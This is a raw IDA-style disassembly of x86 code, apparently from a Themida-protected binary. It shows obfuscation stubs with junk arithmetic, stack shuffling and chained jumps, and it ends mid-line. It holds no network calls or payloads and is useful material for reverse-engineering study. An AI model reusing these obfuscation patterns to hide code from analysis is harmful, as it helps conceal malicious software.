loc_5AD5AA: ; CODE XREF: Themida_:0059E5BDj xchg edi, ecx push ebx mov ebx, 4A416A0Eh sub esp, 4 mov [esp], edx mov edx, 136B5C68h jmp loc_5A3B86 ; --------------------------------------------------------------------------- loc_5AD5C5: ; CODE XREF: Themida_:005A000Aj pop edi push 4C0Bh mov [esp], edx push ecx mov ecx, 30532403h mov edx, ecx jmp loc_5AA3BD ; --------------------------------------------------------------------------- loc_5AD5DB: ; CODE XREF: Themida_:005AE084j mov esi, 49F9726Ah and esi, 532F0A6Ch jmp loc_5A324A ; --------------------------------------------------------------------------- loc_5AD5EB: ; CODE XREF: Themida_:005A64BEj mov ecx, 4 sub ebx, ecx jmp loc_5A90C5 ; --------------------------------------------------------------------------- loc_5AD5F7: ; CODE XREF: Themida_:0059F0CBj mov ch, 2Ch push dx mov dl, 3Bh jmp loc_59AB23 ; --------------------------------------------------------------------------- push ecx push esi push 5A531FEAh pop esi xor esi, 7ADA61FCh jnz loc_5ACE90 xor esi, 20897E2Ah mov ecx, esi pop esi push ebx loc_5AD620: ; CODE XREF: Themida_:005A378Dj sub esp, 2 mov [esp], dx mov dh, 75h add al, 0B0h add al, dh sub al, 0B0h mov dx, [esp] push ebp mov ebp, esp jmp loc_59E15B ; --------------------------------------------------------------------------- loc_5AD63B: ; CODE XREF: Themida_:0059C793j not ebx push esi mov esi, 740E4F9Dh push ecx mov ecx, 5AA95B05h sub ecx, 5A82370Eh dec ecx jmp loc_5A92C2 ; --------------------------------------------------------------------------- loc_5AD655: ; CODE XREF: Themida_:005AA887j pop ebx jmp loc_5AF5C5 ; --------------------------------------------------------------------------- loc_5AD65B: ; CODE XREF: Themida_:005A5911j ; Themida_:005A6AD4j sub ebx, 2132508Dh xor eax, ebx pop ebx add edi, eax pop eax pop ebx xor edi, [esp] jmp loc_5A2C81 ; --------------------------------------------------------------------------- loc_5AD670: ; CODE XREF: Themida_:0059E446j push ebp dec dword ptr [esp] pop ebp sub esp, 4 mov [esp], esi mov esi, 2DCC5386h sub ebp, esi pop esi xor ebp, 0F5015C9Eh jmp loc_59C8D1 ; --------------------------------------------------------------------------- loc_5AD691: ; CODE XREF: Themida_:005A5AD4j push esi jmp loc_5A0352 ; --------------------------------------------------------------------------- loc_5AD697: ; CODE XREF: Themida_:0059F011j push esi push ecx push 0AD16FC6h pop ecx xchg edx, ecx not edx xchg edx, ecx push edi push 3E367909h pop edi add ecx, edi pop edi xor ecx, 33650946h mov esi, ecx pop ecx add ebx, esi jmp loc_5A8DCD ; --------------------------------------------------------------------------- loc_5AD6BF: ; CODE XREF: Themida_:0059E462j mov edx, [esp] push ebx mov ebx, esp push edi jmp loc_59B989 ; --------------------------------------------------------------------------- loc_5AD6CB: ; CODE XREF: Themida_:0059ACBBj xor ebx, [esp] mov esp, [esp] push edi mov edi, 1EA44073h add eax, edi pop edi push dword ptr [edi+eax*4] push ebp mov ebp, 3CA10E9Fh add [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_5A308C ; --------------------------------------------------------------------------- loc_5AD6F0: ; CODE XREF: Themida_:005A11CEj or bl, 9Ch jmp loc_59FC2A ; --------------------------------------------------------------------------- loc_5AD6F8: ; CODE XREF: Themida_:005A738Fj not esi sub esi, 0FFFFFFFFh xor esi, 7E4F3B9Ah push eax mov eax, 977BB76Bh sub esi, eax pop eax sub ebx, esi push dword ptr [esp] pop esi push edi mov edi, esp push ebp mov ebp, 4 jmp loc_5A647C ; --------------------------------------------------------------------------- loc_5AD723: ; CODE XREF: Themida_:0059A39Ej push esp pop dword ptr [esp] push 373h mov [esp], eax mov eax, 4 add dword ptr [esp+4], 413F0848h jmp loc_5A0A88 ; --------------------------------------------------------------------------- loc_5AD741: ; CODE XREF: Themida_:005A1791j xor [esp], eax jmp loc_5AC07F ; --------------------------------------------------------------------------- loc_5AD749: ; CODE XREF: Themida_:0059A15Bj mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esi, ebx mov ebx, [esp] jmp loc_5AC9AC ; --------------------------------------------------------------------------- loc_5AD769: ; CODE XREF: Themida_:005AA6C6j push 567Dh mov [esp], edx mov edx, 4 add [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_5AA2CA ; --------------------------------------------------------------------------- loc_5AD785: ; CODE XREF: Themida_:0059E88Fj xor ebx, [esp] xor [esp], ebx jmp loc_5A5ED0 ; --------------------------------------------------------------------------- loc_5AD790: ; CODE XREF: Themida_:005A91F7j sub ebp, 9D05EFA0h add ecx, ebp mov ebp, [esp] jmp loc_5A047D ; --------------------------------------------------------------------------- loc_5AD7A0: ; CODE XREF: Themida_:0059D2A6j pop eax xor edx, [esp] jmp loc_5AA578 ; --------------------------------------------------------------------------- loc_5AD7A9: ; CODE XREF: Themida_:005A62B2j mov [esp], ebx mov ebx, 101A4180h xor ebx, 16435705h jmp loc_5AB9AC ; --------------------------------------------------------------------------- loc_5AD7BC: ; CODE XREF: Themida_:005A33D0j sub ebx, 6BAAC20h mov edx, ebx pop ebx jmp loc_5A4E89 ; --------------------------------------------------------------------------- loc_5AD7CA: ; CODE XREF: Themida_:005A0A6Cj ; Themida_:005A5B7Aj xchg esi, [esp] pop esp push ecx mov ecx, 53A266ADh jmp loc_5A552A ; --------------------------------------------------------------------------- loc_5AD7D9: ; CODE XREF: Themida_:005A59BBj mov esi, 411B2AE6h or ebp, esi pop esi not ebp jmp loc_59D72F ; --------------------------------------------------------------------------- loc_5AD7E8: ; CODE XREF: Themida_:005AC5BCj mov ah, bl jmp loc_5A2118 ; --------------------------------------------------------------------------- loc_5AD7EF: ; CODE XREF: Themida_:005A1252j ; Themida_:005AF2B9j push bx mov bl, 5Fh jmp loc_5A54F3 ; --------------------------------------------------------------------------- loc_5AD7F8: ; CODE XREF: Themida_:0059DD25j sar word ptr [esp], cl pushf jmp loc_59DC69 ; --------------------------------------------------------------------------- loc_5AD802: ; CODE XREF: Themida_:0059EE15j xor dx, di not di xchg di, dx jmp loc_5A9A95 ; --------------------------------------------------------------------------- loc_5AD810: ; CODE XREF: Themida_:00599075j or ebx, 7CB30D8Fh and ebx, 65716617h jbe loc_5A3B5C xor ebx, 21165EC7h shl ebx, 2 and ebx, 6DFA67ABh neg ebx shr ebx, 6 not ebx push ecx mov ecx, 72FF4556h jmp loc_5A3D17 ; --------------------------------------------------------------------------- loc_5AD843: ; CODE XREF: Themida_:005A2712j mov dl, 12h xor dl, 0F3h mov cl, dl pop edx inc cl jmp loc_59EEC3 ; --------------------------------------------------------------------------- loc_5AD852: ; CODE XREF: Themida_:loc_59957Cj push ecx push ebp mov ebp, 4BE772F3h mov ecx, ebp pop ebp and edx, ecx jmp loc_5A16FF ; --------------------------------------------------------------------------- loc_5AD863: ; CODE XREF: Themida_:005A516Ej mov edx, 2 push 1EECh mov [esp], ecx jmp loc_5A20BB ; --------------------------------------------------------------------------- loc_5AD875: ; CODE XREF: Themida_:005A1E4Cj shr edi, 8 jmp loc_59BE59 ; --------------------------------------------------------------------------- loc_5AD87D: ; CODE XREF: Themida_:005A9AE9j mov esp, [esp] sub esp, 4 mov [esp], edx push 34EBh mov [esp], edi push 1568162Eh mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A812E ; --------------------------------------------------------------------------- loc_5AD8A4: ; CODE XREF: Themida_:0059A83Ej pop ebp sub edx, 8B327Ch add edx, edi jmp loc_59F491 ; --------------------------------------------------------------------------- loc_5AD8B2: ; CODE XREF: Themida_:005AA839j not edi or edi, 353B5EBBh sub esp, 4 mov [esp], eax jmp loc_5AEAE0 ; --------------------------------------------------------------------------- loc_5AD8C8: ; CODE XREF: Themida_:005991F0j ; Themida_:00599D18j sub edx, eax push eax jmp loc_5A52D2 ; --------------------------------------------------------------------------- loc_5AD8D0: ; CODE XREF: Themida_:005A5696j mov ebp, [esp] jmp loc_5A7AE5 ; --------------------------------------------------------------------------- loc_5AD8D8: ; CODE XREF: Themida_:005AC9A7j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_5A6848 ; --------------------------------------------------------------------------- loc_5AD8ED: ; CODE XREF: Themida_:005AF7B1j push esp pop ebx push edi mov edi, 4 sub ebx, 0EB10760h jmp loc_5A64B4 ; --------------------------------------------------------------------------- loc_5AD900: ; CODE XREF: Themida_:005AF453j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AD905: ; CODE XREF: Themida_:005A75D5j not ebx jmp loc_5AAA15 ; --------------------------------------------------------------------------- loc_5AD90C: ; CODE XREF: Themida_:005A7063j mov ebx, 1F957E00h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, edx push edx mov edx, 1F957E00h sub edi, edx pop edx pop edx neg edi jns loc_5A6587 neg edi jmp loc_59C69F ; --------------------------------------------------------------------------- loc_5AD937: ; CODE XREF: Themida_:005A231Aj push 505Ah mov [esp], eax mov eax, 4 add dword ptr [esp+4], 29E74AF3h add [esp+4], eax sub dword ptr [esp+4], 29E74AF3h jmp loc_59D4D4 ; --------------------------------------------------------------------------- loc_5AD95D: ; CODE XREF: Themida_:005A6F61j push ebx mov ebx, esp push 1C7Ah jmp loc_59D485 ; --------------------------------------------------------------------------- loc_5AD96A: ; CODE XREF: Themida_:005AB21Cj xor edx, esi pop esi not edx jmp loc_59B459 ; --------------------------------------------------------------------------- loc_5AD974: ; CODE XREF: Themida_:005A1BA5j add ebx, 4 add ebx, 4 jmp loc_5AD4FA ; --------------------------------------------------------------------------- loc_5AD982: ; CODE XREF: Themida_:0059E07Ej jle loc_5AE0CA or edx, 70C40D50h jnz loc_5A06B0 add edx, 0C92032E3h jmp loc_5A2C1A ; --------------------------------------------------------------------------- pop edx loc_5AD9A0: ; CODE XREF: Themida_:005AF524j jnp loc_5A1C88 jmp loc_59CF81 ; --------------------------------------------------------------------------- loc_5AD9AB: ; CODE XREF: Themida_:0059BFFDj shl eax, 7 jmp loc_5A8579 ; --------------------------------------------------------------------------- loc_5AD9B3: ; CODE XREF: Themida_:005A8375j add ebp, 54317433h shr ebp, 2 jp loc_5A54E1 and ebp, 2F0D1201h jmp loc_59FDD6 ; --------------------------------------------------------------------------- mov ebx, edx xor al, 0A0h loc_5AD9D1: ; CODE XREF: Themida_:005A9C0Fj pop edi jmp loc_5AB4E0 ; --------------------------------------------------------------------------- loc_5AD9D7: ; CODE XREF: Themida_:005A7969j jmp loc_59EF87 ; --------------------------------------------------------------------------- loc_5AD9DC: ; CODE XREF: Themida_:00599D30j inc dh xor dh, 23h xor al, dh mov edx, [esp] jmp loc_59E813 ; --------------------------------------------------------------------------- loc_5AD9EB: ; CODE XREF: Themida_:0059A211j mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59C317 ; --------------------------------------------------------------------------- loc_5ADA0C: ; CODE XREF: Themida_:005AED38j push 393B6BD3h pop esi push ecx mov ecx, 15E71FE4h add ecx, 1C7A7077h inc ecx push 0 sub [esp], ecx jmp loc_5A5C4B ; --------------------------------------------------------------------------- loc_5ADA2C: ; CODE XREF: Themida_:0059A5BEj pop ecx add esp, 4 push 3815h mov [esp], edi mov edi, 12924B27h push ebx mov ebx, 12924B23h xor edi, ebx jmp loc_5AEFF4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 426Bh jmp loc_5A7D9A ; --------------------------------------------------------------------------- loc_5ADA61: ; CODE XREF: Themida_:0059AAC0j pop ax push bx mov bh, 4Bh jmp loc_5A42EC ; --------------------------------------------------------------------------- loc_5ADA6C: ; CODE XREF: Themida_:0059F18Aj shr ebp, 8 jmp loc_5AC571 ; --------------------------------------------------------------------------- loc_5ADA74: ; CODE XREF: Themida_:0059DF3Ej sub esp, 4 mov [esp], ecx push 308D7E00h push dword ptr [esp] pop ecx add esp, 4 add eax, 2AA04B8Ch sub eax, 29820B73h jmp loc_59C1A7 ; --------------------------------------------------------------------------- loc_5ADA98: ; CODE XREF: Themida_:0059F6F5j add esp, 4 push 4E96h mov [esp], edi mov edi, 7830488Dh and edi, 0A5D0A11h jmp loc_59FA83 ; --------------------------------------------------------------------------- loc_5ADAB6: ; CODE XREF: Themida_:005AEDE2j pop edx jmp loc_59ED9A ; --------------------------------------------------------------------------- loc_5ADABC: ; CODE XREF: Themida_:0059E8ACj push eax mov eax, 44586D0Bh and ebx, eax pop eax push edi mov edi, 5DA41276h not edi jmp loc_5AA07A ; --------------------------------------------------------------------------- loc_5ADAD2: ; CODE XREF: Themida_:005A2AE5j ; Themida_:005A77DBj shl dl, 6 add dl, 0C7h shr dl, 3 add dl, 14h xor cl, dl jmp loc_59FF72 ; --------------------------------------------------------------------------- loc_5ADAE5: ; CODE XREF: Themida_:005A22B7j xchg ch, al neg ch xchg ch, al push edx mov dl, 8Ah jmp loc_59CEE0 ; --------------------------------------------------------------------------- loc_5ADAF3: ; CODE XREF: Themida_:0059D904j shl esi, 7 jmp loc_59A79C ; --------------------------------------------------------------------------- loc_5ADAFB: ; CODE XREF: Themida_:0059EA68j mov [esp], ecx push esp jmp loc_5A3E0F ; --------------------------------------------------------------------------- loc_5ADB04: ; CODE XREF: Themida_:005A1B19j add edx, 5BE716B3h add edx, 6F29057Ch jl loc_59BECF push 1F92h mov [esp], edi mov edi, 47195A3Eh xor edx, edi jmp loc_59CBC5 ; --------------------------------------------------------------------------- loc_5ADB2A: ; CODE XREF: Themida_:005A470Ej mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp push esp pop dword ptr [esp] jmp loc_5A23D5 ; --------------------------------------------------------------------------- loc_5ADB42: ; CODE XREF: Themida_:0059F0F4j sub edx, eax jmp loc_5AEDCF ; --------------------------------------------------------------------------- loc_5ADB49: ; CODE XREF: Themida_:005A9DC1j shr ebx, 6 jmp loc_59C7E6 ; --------------------------------------------------------------------------- loc_5ADB51: ; CODE XREF: Themida_:0059E52Dj inc ebx neg ebx sub ebx, 0ACDD57AFh add esi, ebx mov ebx, [esp] jmp loc_5A72AF ; --------------------------------------------------------------------------- loc_5ADB64: ; CODE XREF: Themida_:0059E94Bj add ebx, ebp pop ebp push edx mov edx, 0E3C32C6h shl edx, 2 add edx, 5C9648A8h sub edx, 2E107DAAh and edx, 109324D1h and edx, 54877ACDh xor edx, 478232E8h or ebx, edx pop edx add ebx, 2E198CDh jmp loc_5A83F6 ; --------------------------------------------------------------------------- loc_5ADB9C: ; CODE XREF: Themida_:005A6589j jns loc_5A4B77 jmp loc_59A550 ; --------------------------------------------------------------------------- sub ebx, 438A433Bh shr ebx, 2 loc_5ADBB0: ; CODE XREF: Themida_:0059D87Aj push eax mov eax, 42D46CC8h not eax jmp loc_5AB347 ; --------------------------------------------------------------------------- loc_5ADBBD: ; CODE XREF: Themida_:005A0444j push dword ptr [esp+4] pop edi pop dword ptr [esp] push edi sub esp, 4 mov [esp], edx mov edi, [esp] add esp, 4 mov edx, [esp] add esp, 4 push edx push edi jmp loc_5AB68B ; --------------------------------------------------------------------------- loc_5ADBE2: ; CODE XREF: Themida_:005A07DAj mov edx, 82077F4h sub edi, edx pop edx push ebp mov ebp, 6FCF3B23h shr ebp, 5 xor ebp, 5F793EEEh shr ebp, 5 jmp loc_5A3A53 ; --------------------------------------------------------------------------- loc_5ADC01: ; CODE XREF: Themida_:0059C738j or ebp, 7A4E51E1h add ebp, 44A94F7Bh sub ebp, 0C4A7C574h add eax, ebp pop ebp push 2D3h mov [esp], ebp jmp loc_5AF3C5 ; --------------------------------------------------------------------------- loc_5ADC23: ; CODE XREF: Themida_:00599090j mov ebp, [esp] add esp, 4 jmp loc_59D317 ; --------------------------------------------------------------------------- loc_5ADC2E: ; CODE XREF: Themida_:0059AC3Ej mov esp, [esp] jmp loc_59F056 ; --------------------------------------------------------------------------- loc_5ADC36: ; CODE XREF: Themida_:0059DF08j sub ebp, 5A4E0594h sub ebp, 2B547CFEh sub ebx, ebp pop ebp add ebx, 30501B2Bh jmp loc_59F03C ; --------------------------------------------------------------------------- loc_5ADC50: ; DATA XREF: Themida_:0059885Co push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A9A7B ; --------------------------------------------------------------------------- loc_5ADC6D: ; CODE XREF: Themida_:005A86BBj xor esi, 17E22563h or esi, 2C765A20h jmp loc_5AFB29 ; --------------------------------------------------------------------------- loc_5ADC7E: ; DATA XREF: Themida_:005987C0o lodsw xor ax, bx push ebx mov ebx, esp push ebp jmp loc_5999A3 ; --------------------------------------------------------------------------- loc_5ADC8C: ; CODE XREF: Themida_:005AAD31j sub ebp, 0C0F6985h jg loc_5A0F60 or ebp, 28287460h mov ebx, ecx mov ch, cl loc_5ADCA2: ; CODE XREF: Themida_:005A8A5Ej mov ebx, esp add ebx, 4 jmp loc_5A17CC ; --------------------------------------------------------------------------- loc_5ADCAF: ; CODE XREF: Themida_:005A9F05j pop eax add ebx, 125855E0h jmp loc_5AB6C9 ; --------------------------------------------------------------------------- loc_5ADCBB: ; CODE XREF: Themida_:0059E876j ; Themida_:005A3C4Cj push 41DDh mov [esp], esi jmp loc_5AABCE ; --------------------------------------------------------------------------- loc_5ADCC8: ; CODE XREF: Themida_:0059A61Fj pop esp jmp loc_5A7D24 ; --------------------------------------------------------------------------- loc_5ADCCE: ; CODE XREF: Themida_:0059BDEEj mov edx, 4 add ebp, edx jmp loc_5AA49C ; --------------------------------------------------------------------------- loc_5ADCDA: ; CODE XREF: Themida_:0059C384j ; Themida_:005A52E6j push esp pop ecx add ecx, 4 jmp loc_5AAD94 ; --------------------------------------------------------------------------- loc_5ADCE7: ; CODE XREF: Themida_:0059D7A3j ; Themida_:005AAFA0j pop ebx shr ebx, 2 jmp loc_5A6768 ; --------------------------------------------------------------------------- loc_5ADCF0: ; CODE XREF: Themida_:0059AEEDj sub esi, ebx pop ebx push 2B73h mov [esp], esi jmp loc_5A2B03 ; --------------------------------------------------------------------------- loc_5ADD00: ; CODE XREF: Themida_:005AB42Aj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A20CD ; --------------------------------------------------------------------------- loc_5ADD0C: ; CODE XREF: Themida_:005A004Fj mov ebp, 698F6BDFh and edx, ebp pop ebp or edx, 26D60E0Dh ja loc_5A4CB7 add edx, 623633E9h jmp loc_5A3E91 ; --------------------------------------------------------------------------- loc_5ADD2B: ; CODE XREF: Themida_:005AF39Bj sub dl, 0ECh jmp loc_59AFCD ; --------------------------------------------------------------------------- loc_5ADD33: ; CODE XREF: Themida_:0059D92Bj ; Themida_:005ABAE1j mov ebp, 4 sub edi, ebp pop ebp jmp loc_5A075B ; --------------------------------------------------------------------------- loc_5ADD40: ; CODE XREF: Themida_:0059F25Fj push eax push 71B02E18h pop eax sub eax, 0FB19C8C7h mov esi, eax pop eax jmp loc_5A1614 ; --------------------------------------------------------------------------- loc_5ADD54: ; CODE XREF: Themida_:loc_59EF64j ; Themida_:005AB178j add [esp+4], esi push ebp mov ebp, 16266AEDh sub [esp+8], ebp jmp loc_5A21C4 ; --------------------------------------------------------------------------- loc_5ADD67: ; CODE XREF: Themida_:0059ECE8j sub edx, 32B22347h pop esi jmp loc_5A90BE ; --------------------------------------------------------------------------- loc_5ADD73: ; CODE XREF: Themida_:0059A062j imul cx, ax jmp loc_5A8FF5 ; --------------------------------------------------------------------------- loc_5ADD7C: ; CODE XREF: Themida_:005A37F7j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_5A7068 ; --------------------------------------------------------------------------- loc_5ADD8D: ; DATA XREF: Themida_:00598874o mov eax, [esp] sub esp, 4 mov [esp], edx jmp loc_5A0D8D ; --------------------------------------------------------------------------- loc_5ADD9E: ; CODE XREF: Themida_:005A753Fj add esi, 9A3AFA5Fh sub edx, esi jmp loc_5A5CC8 ; --------------------------------------------------------------------------- loc_5ADDAB: ; CODE XREF: Themida_:005A17C7j push esp jmp loc_599B65 ; --------------------------------------------------------------------------- loc_5ADDB1: ; CODE XREF: Themida_:005A9C18j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59DA7E ; --------------------------------------------------------------------------- loc_5ADDC6: ; CODE XREF: Themida_:005A32A6j mov cl, 0E7h jmp loc_5A19C6 ; --------------------------------------------------------------------------- loc_5ADDCD: ; CODE XREF: Themida_:loc_5A9273j neg dh add dh, 6 sub esp, 4 mov [esp], ecx jmp loc_5A3631 ; --------------------------------------------------------------------------- loc_5ADDDD: ; CODE XREF: Themida_:005A9B60j sub ebp, edx pop edx add ebp, 0FFFFFFFFh shl ebp, 6 jmp loc_5A8C40 ; --------------------------------------------------------------------------- loc_5ADDEB: ; CODE XREF: Themida_:0059F8F5j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ADDF0: ; CODE XREF: Themida_:005AB1AEj add bl, 0DEh add bl, cl jmp loc_5AF267 ; --------------------------------------------------------------------------- loc_5ADDFA: ; CODE XREF: Themida_:005A6936j add ecx, 4 jmp loc_5AA9C7 ; --------------------------------------------------------------------------- loc_5ADE02: ; CODE XREF: Themida_:0059F844j add ebp, 56481BCFh sub ebp, 0B0C20433h add eax, ebp pop ebp pop ecx add eax, 4 push eax push dword ptr [esp+4] jmp loc_5A4CB1 ; --------------------------------------------------------------------------- loc_5ADE21: ; CODE XREF: Themida_:0059F2AFj xchg ecx, [esp] jmp loc_5A7139 ; --------------------------------------------------------------------------- loc_5ADE29: ; CODE XREF: Themida_:0059FB40j sub edx, 5FD3210Fh jmp loc_5A32ED ; --------------------------------------------------------------------------- loc_5ADE34: ; CODE XREF: Themida_:005A8EB8j add esp, 4 jmp loc_5ABE42 ; --------------------------------------------------------------------------- loc_5ADE3C: ; CODE XREF: Themida_:0059AC69j ; Themida_:0059E65Ej ... mov edi, [esp] push 6B56h mov [esp], esi jmp loc_5A9248 ; --------------------------------------------------------------------------- loc_5ADE4C: ; CODE XREF: Themida_:0059D7DFj push edi mov edi, 308458C9h push ebp mov ebp, 385835A2h add edi, ebp pop ebp xor edi, 3351EBB1h add edx, edi pop edi add edx, eax push ecx mov ecx, 4A6053F1h sub ecx, 440B184Bh and ecx, 5F4E5ED3h and ecx, 43F0216h sub ecx, 0A8769C28h jmp loc_5A8E82 ; --------------------------------------------------------------------------- loc_5ADE89: ; CODE XREF: Themida_:0059B395j pop esi add ebx, 1B3447ACh sub ebx, 3CB808B4h jmp loc_5AF569 ; --------------------------------------------------------------------------- loc_5ADE9B: ; CODE XREF: Themida_:0059D0F9j push 45C8h mov [esp], eax pop edx jmp loc_5AE98B ; --------------------------------------------------------------------------- loc_5ADEA9: ; CODE XREF: Themida_:005A2C57j ; Themida_:005A7ED3j add edx, 5DF015A9h add edx, ecx sub edx, 5DF015A9h mov ecx, [esp] jmp loc_5A0DD9 ; --------------------------------------------------------------------------- loc_5ADEBF: ; CODE XREF: Themida_:0059B92Cj xor bl, dl jmp loc_5A149C ; --------------------------------------------------------------------------- loc_5ADEC6: ; CODE XREF: Themida_:0059BAA6j xchg eax, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ADED5: ; CODE XREF: Themida_:loc_5AC92Cj jmp loc_5AEA11 ; --------------------------------------------------------------------------- loc_5ADEDA: ; CODE XREF: Themida_:005A2F37j add esp, 4 mov edx, [esp] push esi jmp loc_5AB2A9 ; --------------------------------------------------------------------------- loc_5ADEE9: ; CODE XREF: Themida_:005A3642j pop ebx jmp loc_5A8471 ; --------------------------------------------------------------------------- loc_5ADEEF: ; CODE XREF: Themida_:0059EA5Ej xchg ecx, [esp] pop esp jmp loc_59C474 ; --------------------------------------------------------------------------- loc_5ADEF8: ; CODE XREF: Themida_:005AB424j add bl, 95h jmp loc_59A20C ; --------------------------------------------------------------------------- loc_5ADF00: ; CODE XREF: Themida_:00598C50j mov ecx, [esp] add esp, 4 add bl, 49h push eax mov al, 0D4h or al, 0D5h shr al, 1 inc al jnp loc_59D57B shl al, 7 jmp loc_5AEF94 ; --------------------------------------------------------------------------- add ebp, 1FBD63B8h loc_5ADF29: ; CODE XREF: Themida_:0059CB57j add cl, dl pop dx add al, 56h add al, cl push edx sub esp, 2 mov [esp], cx mov ch, 56h mov dl, ch pop cx sub al, dl pop edx push dword ptr [esp] pop ecx add esp, 4 push cx push 54AFh mov [esp], ebx mov bl, 77h push edx jmp loc_5A411F ; --------------------------------------------------------------------------- loc_5ADF5E: ; CODE XREF: Themida_:005AC900j push edi push 1ACBh jmp loc_5A2B2F ; --------------------------------------------------------------------------- loc_5ADF69: ; CODE XREF: Themida_:005A4848j xor ebp, 9217555h shl ebp, 3 not ebp push 434Ch mov [esp], edi jmp loc_59F990 ; --------------------------------------------------------------------------- loc_5ADF81: ; CODE XREF: Themida_:005AA02Dj push esi push edi xor dword ptr [esp], 2FCE16A2h mov esi, [esp] add esp, 4 xor esi, 2FCE16A2h mov ecx, esi push dword ptr [esp] jmp loc_599C38 ; --------------------------------------------------------------------------- loc_5ADFA3: ; CODE XREF: Themida_:005A820Ej add ecx, 70271F09h pop esi jmp loc_5A8090 ; --------------------------------------------------------------------------- loc_5ADFAF: ; CODE XREF: Themida_:0059D66Ej push eax push 5D551535h pop eax push ecx mov ecx, 39B25890h sub ecx, 0FFFFFFFFh dec ecx shl ecx, 7 inc ecx shl ecx, 8 jmp loc_59E8B1 ; --------------------------------------------------------------------------- loc_5ADFCC: ; CODE XREF: Themida_:005A52BFj dec edx add edx, 0AB98FD29h sub esi, edx pop edx jmp loc_59FA37 ; --------------------------------------------------------------------------- loc_5ADFDB: ; CODE XREF: Themida_:0059AD31j pop dword ptr [esp] jmp loc_5AE120 ; --------------------------------------------------------------------------- loc_5ADFE3: ; CODE XREF: Themida_:005A90ADj push edx mov edx, ebx mov ebp, edx pop edx mov esi, ebp pop ebp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_5AD1AC ; --------------------------------------------------------------------------- loc_5AE006: ; CODE XREF: Themida_:005A104Fj sub bl, dl push small 13D0h jmp loc_59E91F ; --------------------------------------------------------------------------- loc_5AE011: ; CODE XREF: Themida_:00599977j push ecx push 63BC0AFCh pop ecx and ecx, 279165B0h ja loc_5AAE39 sub ecx, 6572E18h and al, 5Ch add al, 0A4h loc_5AE02E: ; CODE XREF: Themida_:0059B072j or dl, 5 dec dl sub dl, 66h shr dl, 3 jmp loc_5A44AD ; --------------------------------------------------------------------------- loc_5AE03E: ; CODE XREF: Themida_:005AB810j neg edx jmp loc_5A600A ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_59DE83 ; --------------------------------------------------------------------------- loc_5AE050: ; CODE XREF: Themida_:005998A2j ; Themida_:005A425Bj add edi, esi pop esi jmp loc_5A36E1 ; --------------------------------------------------------------------------- loc_5AE058: ; CODE XREF: Themida_:005A7615j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE05D: ; CODE XREF: Themida_:0059F1A7j neg al shr al, 2 add al, 0C4h sub bl, 4Ch add bl, al jmp loc_5A0904 ; --------------------------------------------------------------------------- loc_5AE06E: ; CODE XREF: Themida_:0059C488j push ecx mov ecx, 507E10D9h jmp loc_5A74C9 ; --------------------------------------------------------------------------- loc_5AE079: ; CODE XREF: Themida_:005AF1EAj mov ebx, esp jmp loc_5AB036 ; --------------------------------------------------------------------------- loc_5AE080: ; CODE XREF: Themida_:005ABA49j pop esp mov [esp], esi jmp loc_5AD5DB ; --------------------------------------------------------------------------- loc_5AE089: ; CODE XREF: Themida_:005AE34Ej mov ebp, 39C513D1h add eax, ebp pop ebp add eax, edx jmp loc_59994C ; --------------------------------------------------------------------------- loc_5AE098: ; CODE XREF: Themida_:0059D07Bj mov edi, [esp] add esp, 4 sub eax, 64AD591Ah jmp loc_5A7D69 ; --------------------------------------------------------------------------- loc_5AE0A8: ; CODE XREF: Themida_:005AD147j mov [esp], edi sub esp, 4 jmp loc_59E595 ; --------------------------------------------------------------------------- loc_5AE0B6: ; CODE XREF: Themida_:0059AB31j sub al, 3Bh pop cx sub al, bh push edx mov dl, 3Ch or dl, 6Eh add dl, 93h jmp loc_5A5AD9 ; --------------------------------------------------------------------------- loc_5AE0CA: ; CODE XREF: Themida_:loc_5AD982j or edx, 70C40D50h jnz loc_5A7458 add edx, 0C92032E3h mov dh, bh mov dl, 0A1h loc_5AE0E0: ; CODE XREF: Themida_:005A9A7Cj push eax push esp jmp loc_5A6D7C ; --------------------------------------------------------------------------- loc_5AE0E7: ; CODE XREF: Themida_:005A0FA6j pop edi add [esp+4], ebp pop ebp mov edx, [esp] add esp, 4 push edi jmp loc_5A180A ; --------------------------------------------------------------------------- loc_5AE0F9: ; CODE XREF: Themida_:005ACE68j or eax, 11AB5481h neg eax shr eax, 7 xor eax, 1002150h add edi, 57731FFAh add edi, eax jmp loc_5A4D49 ; --------------------------------------------------------------------------- loc_5AE115: ; CODE XREF: Themida_:005AC256j add ebp, 600660AAh jmp loc_5A87CE ; --------------------------------------------------------------------------- loc_5AE120: ; CODE XREF: Themida_:005ADFDEj pop esp add esp, 4 xor edx, 0F03202Bh jmp loc_5A0844 ; --------------------------------------------------------------------------- loc_5AE132: ; CODE XREF: Themida_:005A7575j add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_59BB9E ; --------------------------------------------------------------------------- loc_5AE13F: ; CODE XREF: Themida_:005AB053j mov dh, 0 jmp loc_5AF60A ; --------------------------------------------------------------------------- loc_5AE146: ; CODE XREF: Themida_:0059AD15j and esi, 202F34D4h jge loc_5A9D0A sub esi, 6B604F99h jnp loc_5ABF30 pop ebp loc_5AE15F: ; CODE XREF: 